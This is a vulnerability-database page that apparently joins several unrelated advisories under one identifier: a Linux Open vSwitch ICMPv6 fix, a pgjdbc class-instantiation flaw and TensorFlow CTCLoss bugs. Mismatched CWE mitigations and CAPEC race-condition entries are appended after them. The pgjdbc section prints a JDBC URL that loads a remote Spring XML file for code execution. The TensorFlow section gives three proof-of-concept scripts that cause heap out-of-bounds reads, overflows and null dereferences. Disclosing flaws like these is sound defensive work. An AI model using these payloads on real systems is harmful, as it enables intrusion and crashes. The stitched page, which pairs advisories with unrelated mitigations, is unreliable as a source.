GHSA-V5CJ-XC9V-XG6M

Vulnerability from github – Published: 2024-06-19 15:30 – Updated: 2026-05-12 12:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

net: openvswitch: fix overwriting ct original tuple for ICMPv6

OVS_PACKET_CMD_EXECUTE has 3 main attributes: - OVS_PACKET_ATTR_KEY - Packet metadata in a netlink format. - OVS_PACKET_ATTR_PACKET - Binary packet content. - OVS_PACKET_ATTR_ACTIONS - Actions to execute on the packet.

OVS_PACKET_ATTR_KEY is parsed first to populate sw_flow_key structure with the metadata like conntrack state, input port, recirculation id, etc. Then the packet itself gets parsed to populate the rest of the keys from the packet headers.

Whenever the packet parsing code starts parsing the ICMPv6 header, it first zeroes out fields in the key corresponding to Neighbor Discovery information even if it is not an ND packet.

It is an 'ipv6.nd' field. However, the 'ipv6' is a union that shares the space between 'nd' and 'ct_orig' that holds the original tuple conntrack metadata parsed from the OVS_PACKET_ATTR_KEY.

ND packets should not normally have conntrack state, so it's fine to share the space, but normal ICMPv6 Echo packets or maybe other types of ICMPv6 can have the state attached and it should not be overwritten.

The issue results in all but the last 4 bytes of the destination address being wiped from the original conntrack tuple leading to incorrect packet matching and potentially executing wrong actions in case this packet recirculates within the datapath or goes back to userspace.

ND fields should not be accessed in non-ND packets, so not clearing them should be fine. Executing memset() only for actual ND packets to avoid the issue.

Initializing the whole thing before parsing is needed because ND packet may not contain all the options.

The issue only affects the OVS_PACKET_CMD_EXECUTE path and doesn't affect packets entering OVS datapath from network interfaces, because in this case CT metadata is populated from skb after the packet is already parsed.

Vulnerability from github – Published: 2022-02-02 00:04 – Updated: 2022-08-12 13:14

Summary
pgjdbc Does Not Check Class Instantiation when providing Plugin Classes
Details

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

GHSA-VVG4-VGRV-XFR7

Vulnerability from github – Published: 2021-05-21 14:28 – Updated: 2024-11-13 16:25
VLAI
Summary
Incomplete validation in `tf.raw_ops.CTCLoss`
Details

Impact

Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap:

import tensorflow as tf

inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)
labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)
labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)
sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=True, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=True)

An attacker can also trigger a heap buffer overflow:

import tensorflow as tf

inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)
labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)
labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=False)

Finally, an attacker can trigger a null pointer dereference:

import tensorflow as tf

inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)
labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)
labels_values = tf.constant([], shape=[0], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
                   labels_values=labels_values, sequence_length=sequence_length,
                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,
                   ignore_longer_outputs_than_inputs=False)

Patches

We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.
Mitigation
Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Mitigation
Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Mitigation
Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Mitigation
Implementation

Avoid race conditions (CWE-362) during initialization routines.

Mitigation
Build and Compilation

Run or compile your product with settings that generate warnings about uninitialized variables or data.

CAPEC-26: Leveraging Race Conditions

The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.

CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.
